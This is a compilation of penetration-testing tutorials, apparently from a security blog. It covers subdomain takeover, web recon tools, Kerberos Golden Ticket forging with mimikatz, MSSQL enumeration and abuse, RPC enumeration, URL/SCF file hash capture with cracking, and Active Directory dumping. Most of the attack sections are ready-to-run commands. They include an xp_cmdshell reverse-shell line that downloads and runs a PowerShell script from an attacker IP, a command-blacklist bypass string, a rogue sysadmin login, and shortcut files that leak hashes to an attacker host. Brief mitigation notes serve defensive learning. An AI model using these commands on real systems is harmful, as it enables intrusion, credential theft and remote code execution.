    Exploiting a subdomain takeover

    Subdomain takeover is essentially DNS spoofing for a specific domain across the internet, allowing attackers to set A records for a domain, leading browsers to display content from the attacker’s server. This transparency in browsers makes domains prone to phishing. Attackers may employ typosquatting or Doppelganger domains for this purpose. Especially vulnerable are domains where the URL in a phishing email appears legitimate, deceiving users and evading spam filters due to the domain’s inherent trust.

    SSL Certificates

    SSL certificates, if generated by attackers via services like Let’s Encrypt, add to the legitimacy of these fake domains, making phishing attacks more convincing.

    Cookie Security and Browser Transparency

    Browser transparency also extends to cookie security, governed by policies like the Same-origin policy. Cookies, often used to manage sessions and store login tokens, can be exploited through subdomain takeover. Attackers can gather session cookies simply by directing users to a compromised subdomain, endangering user data and privacy.

    Emails and Subdomain Takeover

    Another aspect of subdomain takeover involves email services. Attackers can manipulate MX records to receive or send emails from a legitimate subdomain, enhancing the efficacy of phishing attacks.

    Higher Order Risks

    Further risks include NS record takeover. If an attacker gains control over one NS record of a domain, they can potentially direct a portion of traffic to a server under their control. This risk is amplified if the attacker sets a high TTL (Time to Live) for DNS records, prolonging the duration of the attack.

    Installation

    1. Install subjack

    • go install github.com/haccer/subjack@latest

    2. Display help menu

    • subjack -h

    How to use

    1. Find the fingerprints.json file

    • find -type f -name “fingerprints.json”

    2. Run this tool against a subdomain list

    • subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt -ssl -c ./go/pkg/mod/github.com/haccer/subjack@v0.0.0-20201112041112-49c51e57deab/fingerprints.json -v 3

    3. Save the output to a file

    • subjack -w ./Desktop/URL-list.txt -t 100 -timeout 30 -o results.txt -ssl -c ./go/pkg/mod/github.com/haccer/subjack@v0.0.0-20201112041112-49c51e57deab/fingerprints.json -v 3 -o results.txt

    4. Search by single domain,or sub-domain

    • subjack -d dev.tesla.com -t 100 -timeout 30 -o results.txt -ssl -c ./go/pkg/mod/github.com/haccer/subjack@v0.0.0-20201112041112-49c51e57deab/fingerprints.json -v 3

    Options

    • -d test.com if you want to test a single domain.
    • -w domains.txt is your list of subdomains.
    • -t is the number of threads (Default: 10 threads).
    • -timeout is the seconds to wait before timeout connection (Default: 10 seconds).
    • -o results.txt where to save results to. For JSON: -o results.json
    • -ssl enforces HTTPS requests which may return a different set of results and increase accuracy.
    • -a skips CNAME check and sends requests to every URL. (Recommended)
    • -m flag the presence of a dead record, but valid CNAME entry.
    • -v verbose. Display more information per each request.
    • -c Path to configuration file.

    Mitigation

    • Removing vulnerable DNS records – This is effective if the subdomain is no longer required.
    • Claiming the domain name – Registering the resource with the respective cloud provider or repurchasing an expired domain.
    • Regular monitoring for vulnerabilities – Tools like aquatone can help identify susceptible domains. Organizations should also revise their infrastructure management processes, ensuring that DNS record creation is the final step in resource creation and the first step in resource destruction.

    Sources

    https://www.hackerone.com/application-security/guide-subdomain-takeovers

    https://book.hacktricks.xyz/pentesting-web/domain-subdomain-takeover

    https://github.com/EdOverflow/can-i-take-over-xyz

    https://developer.mozilla.org/en-US/docs/Web/Security/Subdomain_takeovers

    [Active – Information Gathering] Check alive URLs from a list using httprobe

    Take a list of domains and probe for working http and https servers.

    https://github.com/tomnomnom/httprobe

    Installation

    1. Download the tool

    • go install github.com/tomnomnom/httprobe@latest

    2. Get help menu

    • httprobe -h

    How to use

    1. Run the tool against a file (HTTP & HTTPS)

    • cat URL-list.txt | httprobe

    2. Check against HTTPS only

    • cat URL-list.txt | httprobe -s -p https:443

    3. In order to filter by the domain & subdomain only

    • cat URL-list.txt | httprobe | sed ‘s/https\?:\/\///’ | tr -d “:443”

    [Active – Information Gathering] Automated screenshot of websites with goWitness

    gowitness is a website screenshot utility written in Golang, that uses Chrome Headless to generate screenshots of web interfaces using the command line, with a handy report viewer to process results. Both Linux and macOS is supported, with Windows support mostly working.

    https://github.com/sensepost/gowitness.git

    Inspiration for gowitness comes from Eyewitness. If you are looking for something with lots of extra features, be sure to check it out along with these other projects

    https://github.com/RedSiege/EyeWitness

    https://github.com/breenmachine/httpscreenshot

    goWitness requires Chrome or Chromium installed

    Installation

    1. For installation information and other documentation, please refer to the wiki

    https://github.com/sensepost/gowitness/wiki

    https://github.com/sensepost/gowitness/wiki/Installation

    2. To install run

    • go install gorm.io/gorm@latest
    • go install github.com/sensepost/gowitness@latest
    • sudo apt install chromium

    3. Display the menu

    • gowitness -h

    4. Take a sincreenshow to a single URL, the ourput is saved in ./screenshots/filename.png

    • gowitness single https://vk9-sec.com/

    5. Run against a file containing a list

    • gowitness file -f URL-list.txt

    [Information Gathering] Gathering old information from WayBackMachine using waybackurls

    Waybackurls is a command-line tool used for scraping URLs from the Wayback Machine.

    Waybackurls is important for cybersecurity professionals because it allows them to uncover historical data about a website, identify potential vulnerabilities, and assess the security posture of a target.

    https://github.com/tomnomnom/waybackurls

    Basic Usage

    • waybackurls <target>: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target.
    • waybackurls <target> -json: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target in JSON format.
    • waybackurls <target> | grep <keyword>: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target that contain the specified keyword.
    • waybackurls <target> | sort -u: This command retrieves all the unique URLs of the Wayback Machine archive for the specified domain or target.
    • waybackurls <target> | httprobe: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target and tests them for HTTP/HTTPS connectivity.

    Advanced Usage

    • waybackurls <target> | grep -Eo “(http|https)://[a-zA-Z0-9./?=_%:-]*”|sort -u: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target, and uses regex to extract only the URLs that begin with “http” or “https”.
    • waybackurls <target> -exclude <exclude-file>: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target, but excludes the URLs listed in the specified file.
    • waybackurls <target> -filter “status_code:200″|sort -u: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target that return a 200 status code.
    • waybackurls <target> | unfurl paths | sort | uniq -c | sort -rn: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target, extracts only the paths, and sorts them by the number of occurrences to identify the most commonly accessed paths.
    • waybackurls <target> | xargs -I{} curl -s -L -I -H “User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0” {} | grep -iE “x-frame-options|content-security-policy”: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target, and tests them for X-Frame-Options and Content-Security-Policy headers.

    Integrations

    • Using waybackurls with Nmap: By combining the results of Nmap with waybackurls, a cybersecurity professional can gather information about any web-based services that may be exposed on the target network.
    • Using waybackurls with Gobuster: Gobuster is a tool used for directory and file brute-forcing on web servers. By using the URLs gathered by waybackurls, a cybersecurity professional can perform more targeted directory and file brute-forcing.
    • Using waybackurls with Sublist3r: By combining the results of Sublist3r with waybackurls, a cybersecurity professional can gather information about the web-based services running on subdomains of the target domain.
    • Using waybackurls with Burp Suite: By feeding the URLs gathered by waybackurls into Burp Suite’s spidering feature, a cybersecurity professional can identify additional web application endpoints that may be vulnerable to attack.

    Installation

    1. Having GoLang already installed in your system run

    • go install github.com/tomnomnom/waybackurls@latest

    2. Display the help menu

    • waybackurls -h

    How to use

    1. Query a domain

    • echo “https://vk9-sec.com” | waybackurls

    2. Run it against a file that contains a list of URLs

    • cat file.txt | waybackurls

    [Active Directory] Kerberos Golden ticket

    With Kerberos, users never directly authenticate themselves to the various services they need to use, such as file servers. Instead, the Kerberos Key Distribution Center (KDC) functions as a trusted third-party authentication service. Every domain controller in an Active Directory domain runs a KDC service.

    The KDC issues a ticket granting ticket (TGT), which includes a unique session key and a timestamp that specifies how long that session is valid (normally 8 or 10 hours). When the user needs access to resources, they don’t have to re-authenticate; their client machine simply sends the TGT along to prove that the user has already been recently authenticated.

    Kerberos Golden Ticket hacking is a sophisticated attack that exploits weaknesses in the Kerberos authentication protocol, which is widely used for securing authentication in various network environments. In this attack, adversaries create a forged Kerberos Ticket Granting Ticket (TGT), referred to as a “Golden Ticket,” allowing them to gain unauthorized access to a network and impersonate any user without the need for valid credentials.

    Requirements

    Privileged Access:

    • The attacker needs elevated privileges to access the KDC database or extract password hashes, often obtained through a successful compromise of an administrative account.

    In a Golden Ticket attack, hackers bypass the KDC and create TGTs themselves to get access to various resources. To forge a TGT, hackers need four key pieces of information:

    • The FQDN (Fully Qualified Domain Name) of the domain
    • The SID (Security Identifier) of the domain
    • The username of the account they want to impersonate
    • The KRBTGT password hash

    Exploitation (Mimikatz)

    1. After compromising the domain controller, use mimikatz to dump the krbtgt hash

    • lsadump::lsa /inject /name:krbtgt
    • privilege::debug

    2. Grab the following (NTLM, SID domain)

    • NTLM : 43ee24a65422dd3e241dda802463c4de
    • Domain : LAB / S-1-5-21-2564449761-2250179813-2142005236
    • aes256_hmac (4096) : 20e985711889035d33aff3f05781370c1d095cf7abf0dcfe9bb64f70c3dc0bea

    3.. Generate the Kerberos ticket, assigned to a real user, use the admin account RID (default 500), and set ptt

    • kerberos::golden /User:Administrator /domain:lab.local /sid:S-1-5-21-2564449761-2250179813-2142005236 /krbtgt:43ee24a65422dd3e241dda802463c4de /id:500 /ptt
    • kerberos::golden /User:Administrator /domain:lab.local /sid:S-1-5-21-2564449761-2250179813-2142005236 /krbtgt:43ee24a65422dd3e241dda802463c4de /id:500,513,2668 /ptt /aes256:20e985711889035d33aff3f05781370c1d095cf7abf0dcfe9bb64f70c3dc0bea
    • kerberos::golden /domain:lab.local /sid:S-1-5-21-4172452648-1021989953-2368502130 /rc4:43ee24a65422dd3e241dda802463c4de /user:newAdmin /id:500 /ptt

    • /domain — The FQDN of the domain
    • /sid — The SID of the domain
    • /aes256 — The AES-256 password hash of the KRBTGT user (alternatively, /ntlm or /rc4 can be used for NTLM hashes, and /aes128 for AES-128)
    • /user — The username to be impersonated
    • /groups — The list of groups (by RID) to include in the ticket, with the first being the user’s primary group
    • /ptt — Indicates that the forged ticket should be injected into the current session instead of being written to a file

    4. Once, the ticket has been generated you can run commands to remote machines, with this command you will open a new CMD

    • misc::cmd

    5. List the available tickets

    • klist

    5. Test connecting to another machine

    • dir \\client-2\c$

    Because the TGT is signed and encrypted with the real KRBTGT password hash, any domain controller will accept it as proof of identity and issue ticket-granting service (TGS) tickets for it.

    As the adversary discovers more about the environment, they can continue to mint tickets for accounts with specific group membership to access any application, database or other resource that uses Active Directory for authentication and authorization.

    Recommendations

    Regularly Rotate Kerberos Service Account Passwords

    Minimize the number of accounts that can access the KRBTGT password hash.

    Minimize opportunities for hackers to steal privileged credentials.

    Monitor and Audit KDC Logs

    Regular Security Audits

    Detection Methods for the Golden Ticket Attack

    Event ID 4769 – A Kerberos Service Ticket was requested.

    • Key Description Fields: Account Name, Service Name, Client Address

    Event ID 4624 – An account was successfully logged on.

    • Key Description Fields: Account Name, Account Domain, Logon ID

    Event ID 4627 – Identifies the account that requested the logon.

    • Key Description Fields: Security ID, Account Name, Account Domain, Logon ID

    References

    https://blog.quest.com/golden-ticket-attacks-how-they-work-and-how-to-defend-against-them/

    https://www.netwrix.com/how_golden_ticket_attack_works.html

    https://www.crowdstrike.com/cybersecurity-101/golden-ticket-attack/

    https://www.onasystems.net/golden-ticket-hackeo-a-directorio-activo-en-empresas/

    https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets

    https://www.picussecurity.com/resource/blog/golden-ticket-attack-mitre-t1558.001

    https://www.tarlogic.com/blog/kerberos-tickets-comprehension-exploitation/

    https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/steal-or-forge-kerberos-tickets/golden-ticket

    1433/tcp MS-SQL – Enumeration MSSQL

    Microsoft SQL Server (MSSQL) is a relational database management system (RDBMS) developed by Microsoft. It is a robust and scalable database platform used by organizations for storing, managing, and retrieving data. SQL Server supports a wide range of transaction processing, business intelligence, and analytics applications. It offers various features including support for SQL queries, stored procedures, triggers, views, indexing, and data replication.

    By default, SQL Server listens on port 1433 for TCP/IP connections. However, this port can be changed during installation or configuration.

    Named Pipes: Named Pipes is another network protocol supported by SQL Server. It provides communication between processes on the same computer or between processes on different computers within the same network domain.

    Shared Memory: Shared Memory is a protocol that allows communication between SQL Server and client applications running on the same computer. It provides high-performance communication by utilizing shared memory segments.

    Connection Strings: Client applications use connection strings to specify the server name, database name, authentication method, and other connection parameters. Connection strings are essential for establishing connections to SQL Server databases.

    Authentication: SQL Server supports various authentication modes, including Windows Authentication and SQL Server Authentication. Windows Authentication relies on Windows user accounts, while SQL Server Authentication uses SQL Server-specific usernames and passwords.

    Default MS-SQL System Tables

    • master Database: This database is crucial as it captures all system-level details for a SQL Server instance.
    • msdb Database: SQL Server Agent utilizes this database to manage scheduling for alerts and jobs.
    • model Database: Acts as a blueprint for every new database on the SQL Server instance, where any alterations like size, collation, recovery model, and more are mirrored in newly created databases.
    • Resource Database: A read-only database that houses system objects that come with SQL Server. These objects, while stored physically in the Resource database, are logically presented in the sys schema of every database.
    • tempdb Database: Serves as a temporary storage area for transient objects or intermediate result sets.

    Enumeration

    Nmap

    1. Scan the port 1433

    nmap -sV -sC -A -p 1433 192.168.0.100

    ms-sql-ntlm-info: information related to NTLM (Windows NT LAN Manager) authentication. It includes details such as the target name, NetBIOS domain name, NetBIOS computer name, DNS domain name, DNS computer name, and product version.

    ms-sql-info: information about the SQL Server instance, including the version, product name, service pack level (RC0), and whether post-service pack patches have been applied.

    ssl-date: information about the SSL certificate associated with the SQL Server instance. It shows the date and time when the certificate was issued and its validity period.

    ssl-cert: details about the SSL certificate, including the subject (common name) and validity period (not valid before and not valid after dates).

    2. Execute a vulnerability scan

    • nmap –script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes –script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 192.168.0.100

    Metasploit

    scanner/mssql/mssql_ping)

    1. You can try to enumerate hosts running MSSQL in the network

    • use auxiliary/scanner/mssql/mssql_ping
    • set RHOSTS [192.168.0.0/24]
    • set THREADS [number of threads]
    • run

    admin/mssql/mssql_enum (Authenticated)

    1. Enumerate database information, table names, storage paths, policies, login information

    • use admin/mssql/mssql_enum
    • set RHOSTS 192.168.0.100
    • set RHOSTS 192.168.0.100
    • set USERNAME vry4n
    • (OPTIONAL) set USE_WINDOWS_AUTHENT true
    • (OPTIONAL) set DOMAIN <lab>

    2. Run the script

    admin/mssql/mssql_enum (authenticated)

    1. Enumerate domain users

    • use admin/mssql/mssql_enum_domain_accounts
    • set RHOSTS 192.168.0.100
    • set RHOSTS 192.168.0.100
    • Set USERNAME vry4n
    • (OPTIONAL) set USE_WINDOWS_AUTHENT true
    • (OPTIONAL) set DOMAIN <lab>
    • run

    admin/mssql/mssql_enum_sql_logins

    1. Enumerate logins

    • use admin/mssql/mssql_enum_sql_logins
    • set RHOSTS 192.168.0.100
    • set RHOSTS 192.168.0.100
    • Set USERNAME vry4n
    • (OPTIONAL) set USE_WINDOWS_AUTHENT true
    • (OPTIONAL) set DOMAIN <lab>
    • run

    auxiliary/admin/mssql/mssql_findandsampledata

    1. Get database sample data

    • use auxiliary/admin/mssql/mssql_findandsampledata

    auxiliary/scanner/mssql/mssql_hashdump

    1. Attempt to extract hashdump

    • use auxiliary/scanner/mssql/mssql_hashdump

    auxiliary/scanner/mssql/mssql_schemadump

    1. extract the schema from a MSSQL Server Instance. It will disregard builtin and example DBs such as master, model, msdb, and tempdb.

    • use auxiliary/scanner/mssql/mssql_schemadump

    auxiliary/admin/mssql/mssql_idf

    1. This module will search the specified MSSQL server for ‘interesting’ columns and data.

    • use auxiliary/admin/mssql/mssql_idf

    windows/mssql/mssql_linkcrawler

    1. crawl MS SQL Server database links and deploy Metasploit payloads through links configured with sysadmin privileges using a valid SQL Server Login.

    • use exploit/windows/mssql/mssql_linkcrawler

    admin/mssql/mssql_escalate_execute_as

    1. Escalate privileges if the IMPERSONATION privilege has been assigned to the user.

    • use admin/mssql/mssql_escalate_execute_as

    admin/mssql/mssql_escalate_dbowner

    1. escalate privileges if the IMPERSONATION privilege has been assigned to the user.

    • use admin/mssql/mssql_escalate_dbowner

    admin/mssql/mssql_exec

    1. Execute a Windows command on a MSSQL/MSDE instance via the xp_cmdshell (default) or the sp_oacreate procedure (more opsec safe, no output, no temporary data table). A valid username and password is required to use this module.

    • use admin/mssql/mssql_exec
    • set CMD <command>

    windows/manage/mssql_local_auth_bypass

    1. executes an arbitrary payload on a Microsoft SQL Server by using the “xp_cmdshell” stored procedure.

    • use windows/manage/mssql_local_auth_bypass

    Impacket-mssql

    1. Login to the MSSQL instance

    • impacket-mssqlclient -db Test_users lab/vry4n:IamAdmin123@192.168.0.100
    • impacket-mssqlclient -db Test_users lab/vry4n:IamAdmin123@192.168.0.100 -windows-auth
    • impacket-mssqlclient lab/vry4n:IamAdmin123@192.168.0.100 -windows-auth

    Sqsh

    1. Login to the MSSQL instance

    • sqsh -S <IP> -U <Username> -P <Password> -D <Database>
    • sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>

    CrackMapExec

    1. Execute commands

    • crackmapexec mssql -d lab -u vry4n -p IamAdmin123 -x “<command>” 192.168.0.100
    • crackmapexec mssql -d lab -u vry4n -p IamAdmin123 -x “whoami” 192.168.0.100

    2. Pass the hash

    • crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X ‘$PSVersionTable’

    MSSQL commands to enumerate the database

    # Get version

    • select @@version;

    # Get user

    • select user_name();

    # Get databases

    • SELECT name FROM master.dbo.sysdatabases;

    # Use database

    • USE master

    #Get table names

    • SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;

    #List Linked Servers

    • EXEC sp_linkedservers
    • SELECT * FROM sys.servers;

    #List users

    • select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then ‘Disabled’ else ‘Enabled’ end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in (‘G’, ‘R’) order by sp.name;

    #Create user with sysadmin privs

    • CREATE LOGIN hacker WITH PASSWORD = ‘P@ssword123!’
    • EXEC sp_addsrvrolemember ‘hacker’, ‘sysadmin’

    # Get all the users and roles

    • select * from sys.database_principals;

    ## This query filters a bit the results

    • SELECT name, create_date, modify_date, type_desc AS type, authentication_type_desc AS authentication_type, sid FROM sys.database_principals WHERE type NOT IN (‘A’, ‘R’) ORDER BY name;

    ## Both of these select all the users of the current database (not the server). Interesting when you cannot access the table sys.database_principals

    • EXEC sp_helpuser
    • SELECT * FROM sysusers

    Permissions

    1, Securable: Defined as the resources managed by SQL Server for access control. These are categorized into:

    • Server – Examples include databases, logins, endpoints, availability groups, and server roles.
    • Database – Examples cover database role, application roles, schema, certificates, full text catalogs, and users.
    • Schema – Includes tables, views, procedures, functions, synonyms, etc.

    2. Permission: Associated with SQL Server securables, permissions such as ALTER, CONTROL, and CREATE can be granted to a principal. Management of permissions occurs at two levels:

    • Server Level using logins
    • Database Level using users

    3. Principal: This term refers to the entity that is granted permission to a securable. Principals mainly include logins and database users. The control over access to securables is exercised through the granting or denying of permissions or by including logins and users in roles equipped with access rights.

    # Show all different securables names

    • SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);

    # Show all possible permissions in MSSQL

    • SELECT * FROM sys.fn_builtin_permissions(DEFAULT);

    # Get all my permissions over securable type SERVER

    • SELECT * FROM fn_my_permissions(NULL, ‘SERVER’);

    # Get all my permissions over a database

    • USE <database>
    • SELECT * FROM fn_my_permissions(NULL, ‘DATABASE’);

    # Get members of the role “sysadmin”

    • Use master
    • EXEC sp_helpsrvrolemember ‘sysadmin’;

    # Get if the current user is sysadmin

    • SELECT IS_SRVROLEMEMBER(‘sysadmin’);

    # Get users that can run xp_cmdshell

    • Use master
    • EXEC sp_helprotect ‘xp_cmdshell’

    # Check if xp_cmdshell is enabled

    SELECT * FROM sys.configurations WHERE name = ‘xp_cmdshell’;

    Note that in order to be able to execute commands it’s not only necessary to have xp_cmdshell enabled, but also have the EXECUTE permission on the xp_cmdshell stored procedure. You can get who (except sysadmins) can use xp_cmdshell with:

    • Use master
    • EXEC sp_helprotect ‘xp_cmdshell’

    # This turns on advanced options and is needed to configure xp_cmdshell

    • sp_configure ‘show advanced options’, ‘1’
    • RECONFIGURE

    #This enables xp_cmdshell

    • sp_configure ‘xp_cmdshell’, ‘1’
    • RECONFIGURE

    #One liner

    • sp_configure ‘Show Advanced Options’, 1; RECONFIGURE; sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;

    # Quickly check what the service account is via xp_cmdshell

    • EXEC master..xp_cmdshell ‘whoami’

    # Get Rev shell

    • EXEC xp_cmdshell ‘echo IEX(New-Object Net.WebClient).DownloadString(“http://10.10.14.13:8000/rev.ps1”) | powershell -noprofile’

    # Bypass blackisted “EXEC xp_cmdshell”

    • ‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping 192.168.0.11’ —

    # You can check if who (apart sysadmins) has permissions to run those MSSQL functions with:

    Use master;

    • EXEC sp_helprotect ‘xp_dirtree’;
    • EXEC sp_helprotect ‘xp_subdirs’;
    • EXEC sp_helprotect ‘xp_fileexist’;

    [Exploitation] RPC Domain Enumeration

    Remote Procedure Call (RPC) is a protocol that allows programs to execute procedures on a remote server as if they were local. In the context of domain enumeration, RPC can be leveraged to extract information from Windows-based systems within a network. The enumeration process involves gathering details about users, groups, shares, and other resources within a Windows domain.

    NetSession Enumeration:

    • By using RPC, attackers can enumerate active sessions on a target machine. This provides information about users who are currently connected to the system.

    NetShare Enumeration:

    • RPC can be utilized to enumerate shared resources on a system, revealing information about accessible network shares and permissions.

    NetLocalGroup Enumeration:

    • RPC can be employed to enumerate local groups on a remote machine. This provides insights into the users and groups present on the system.

    NetUser Enumeration:

    • RPC can be used to enumerate user accounts on a target machine, helping attackers identify potential targets or gain insights into the user landscape.

    NetGroup Enumeration:

    • RPC allows enumeration of domain groups, providing information about group memberships and relationships within the domain.

    How to

    1. Having a valid AD username and password, in our case (User: active.htb\SVC_TGS, Password: GPPstillStandingStrong2k18). We will authenticate using rpcclient

    • rpcclient -U “SVC_TGS” 10.10.10.100
    • GPPstillStandingStrong2k18

    2. Enumerate the domain users

    • enumdomusers

    Note: Focus on the administrator users

    3. You can also enumerate the groups, there we may find “admin” group

    • enumdomgroups

    4. Show the users that belong to a group, we will use the group RID

    • querygroupmem 0x200

    Note: This will display the RID of the users members of this group, in our case rid:[0x1f4]

    5. We can now query for this user (0x1f4)

    • queryuser 0x1f4

    Note: We can see we got the administrator user as a result

    Recommendations:

    Authorization and Legitimate Use:

    • Ensure that any RPC enumeration activities are authorized and conducted in a legitimate testing or administrative context.

    Logging and Monitoring:

    • Monitor network logs for unusual RPC-related activities, which could indicate potential enumeration attempts.

    Minimize Attack Surface:

    • Minimize the attack surface by restricting unnecessary RPC services and securing network configurations.

    Regular Audits:

    • Conduct regular security audits to identify and remediate vulnerabilities that could be exploited through RPC enumeration.

    Keep Systems Updated:

    • Regularly update and patch systems to address any vulnerabilities that could be targeted during RPC domain enumeration.

    [Active Directory] URL file attacks

    A URL file attack captures account hashes via a user accessing a folder that contains a specially crafted file that forces the user to request an icon off the attackers machine. The resource does not exist though. The act of initiating a connection to the attackers machine is how the hash is captured. Also note that the user does not need to open the file, nor is their any indication that anything has happened behind the scenes. They just need to open the folder that the file is located in which makes this a perfect for shared folders.

    This attack is only applicable to intranet communication and does not work with outside network.

    This is a post compromise attack and following are the conditions

    • There is a file share accessible across the network
    • Attacker has compromised at least one machine which has access to the file share with write permissions

    1. Create The File

    The file name must begin with either a “@” symbol or a “~” symbol and the filetype must be “url”. Example: “@readme.url”

    2. Contents of the file

    [InternetShortcut]
    URL=http://google.com
    WorkingDirectory=%username%
    IconFile=\\<attacker IP>\%USERNAME%.icon
    IconIndex=1

    Extra

    The same can be done with an scf file. Example: @readme.scf

    [Shell]
    Command=2
    IconFile=\\<attacker IP>\Share\test.ico
    [Taskbar]
    Command=ToggleDesktop

    Explanation

    • [InternetShortcut] is a header line that specifies the file type and indicates that the following lines are instructions for an internet shortcut
    • URL=anyurl specifies the URL of the website or web page that the shortcut should launch. The actual URL should be provided in place of the “anyurl” placeholder
    • WorkingDirectory=anydir specifies the default working directory for the shortcut. In most cases, this will be the directory in which the shortcut file is located. You can replace the “anydir” placeholder with the full path of the directory, if necessary
    • IconFile=\\x.x.x.x\%USERNAME%.icon specifies the location of the icon file to use for the shortcut. The icon file can be stored on a remote computer, which is specified by the IP address “x.x.x.x”. The “%USERNAME%” placeholder is replaced with the current user’s username. The “.icon” extension specifies the type of file that contains the icon data
    • IconIndex=1 specifies which icon in the specified icon file should be used for the shortcut. In this case, the number “1” references to the first icon in the file for use. If the icon file contains multiple icons, choose the number accordingly to select a different icon

    Exploitation

    1. Connect to a share and drop the file (.url or .scf) (@readme.url or @readme.scf) @ in the name sets the file at the top, make sure the file has the proper file type

    2. Start responder with HTTP and SMB is turned ON

    • sudo responder -I eth0 -w -b -v -F

    3. Wait for someone to connect to the share, and, you’ll get data back

    Cracking with hashcat

    1. Identify the hash type number using (https://hashcat.net/wiki/doku.php?id=example_hashes)

    • search NTLMv2

    https://vk9-sec.com/wp-content/uploads/2020/06/word-image-2673-17.png

    2. Knowing the hash ID from https://hashcat.net/ we can proceed to use the hash file, and a wordlist

    • hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

    https://vk9-sec.com/wp-content/uploads/2020/06/word-image-2673-18.png

    Note: as you can see Status: Cracked, and the password is displayed next to the hash, Password: Kyuubi123

    Cracking using John

    1. Identify the hash type using –list=format

    • john –list=formats | awk -F”, ” ‘{for (i=1; i<=NF; i++) print $i}’ | grep -i ntlm

    https://vk9-sec.com/wp-content/uploads/2020/06/word-image-2673-19.png

    2. Run john against our hash file, set the hash type and the wordlist

    • john –wordlist=/usr/share/wordlists/rockyou.txt –format=netntlmv2 hash.txt

    https://vk9-sec.com/wp-content/uploads/2020/06/word-image-2673-20.png

    Source

    https://swepstopia.com/url-file-attack/

    https://www.hackingloops.com/url-file-attack-and-printnightmare/

    https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#scf-and-url-file-attack-against-writeable-share

    https://zsecurity.org/url-file-attacks-active-directory-pentesting/

    https://www.sevenlayers.com/index.php/blog/494-url-file-attacks

    [Active Directory] Post-Compromise Enumeration

    In an Active Directory domain, a lot of interesting information can be retrieved via LDAP by any authenticated user (or machine). This makes LDAP an interesting protocol for gathering information in the recon phase of a pentest of an internal network. A problem is that data from LDAP often is not available in an easy to read format.

    Generally, you’ll need at least the following permissions:

    Read Access to Active Directory:

    • The account should have read access to the Active Directory structure to retrieve information about users, groups, and other directory objects.

    Replicating Directory Changes:

    • For more detailed information, such as the last logon time of users, the account may need the “Replicating Directory Changes” permission. This permission is required for attributes that are not included in the default read access.

    Administrative Privileges (Optional):

    • In some cases, ladpdumpdomain may require administrative privileges to retrieve certain information. If you’re looking to gather data on administrative groups or accounts, the account running the tool may need to be a member of a group with sufficient privileges.

    Network Access:

    • Ensure that the account has the necessary network access to connect to the domain controller and query Active Directory.

    Ldapdomain enum

    ldapdomaindump is a tool used for dumping information from Active Directory, including user accounts, group memberships, and other relevant details, by collecting and parsing information available via LDAP and outputting it in a human readable HTML format, as well as machine readable json and csv/tsv/greppable files.

    You can find the tool on GitHub or other reliable sources. (https://github.com/dirkjanm/ldapdomaindump)

    The tool was designed with the following goals in mind:

    • Easy overview of all users/groups/computers/policies in the domain
    • Authentication both via username and password, as with NTLM hashes (requires ldap3 >=1.3.1)
    • Possibility to run the tool with an existing authenticated connection to an LDAP service, allowing for integration with relaying tools such as impackets ntlmrelayx

    The tool outputs several files containing an overview of objects in the domain:

    • domain_groups: List of groups in the domain
    • domain_users: List of users in the domain
    • domain_computers: List of computer accounts in the domain
    • domain_policy: Domain policy such as password requirements and lockout policy
    • domain_trusts: Incoming and outgoing domain trusts, and their properties

    As well as two grouped files:

    • domain_users_by_group: Domain users per group they are member of
    • domain_computers_by_os: Domain computers sorted by Operating System

    How to use ldapdomaindum

    1. Execute the script (it is pre-installed in newer Kali Linux) against the Domain Controller server

    • sudo ldapdomaindump ldaps://192.168.0.100 -u ‘lab.local\vry4n’ -p IamAdmin123 -o data

    ldapdomaindump: This is likely the name of a tool or script designed for extracting information from an LDAP (Lightweight Directory Access Protocol) server. It’s used to query and retrieve data from an LDAP directory.

    ldaps://192.168.0.100: This specifies the LDAP server’s address and protocol. In this case, it’s using LDAPS, which is the secure version of LDAP over TLS/SSL. The server is located at the IP address 192.168.0.100.

    -u ‘lab.local\vry4n’: This option specifies the username to be used for authentication. The provided username is in the format domain\username, where lab.local is the domain and vry4n is the username.

    -p IamAdmin123: This option specifies the password associated with the provided username. In this case, the password is set to ‘IamAdmin123’.

    -o data: creates a new folder and saves the files there

    2. Inspect all the files looking for users, computers, trusts, groups, policies

    Post enumeration using Bloodhound

    1. Set up the tool

    • sudo pip install bloodhound

    2. Run neo4j

    • sudo neo4j console

    3. Navigate to the address provided by neo4j,in this case http://localhost:7474/

    • username: neo4j
    • password: neo4j

    Note: After logging in you might be asked to change the password

    4. Download and run bloodhound

    • wget https://github.com/BloodHoundAD/BloodHound/releases/download/4.0.2/BloodHound-linux-x64.zip
    • unzip BloodHound-linux-x64.zip
    • cd BloodHound-linux-x64
    • sudo ./BloodHound –no-sandbox

    4. Use your neo4j credentials

    • username: neo4j
    • password: newneo4j

    5. Inject data into Bloodhound, you can use bloodhound tool for this

    • mkdir bloodhound-results
    • cd bloodhound-results
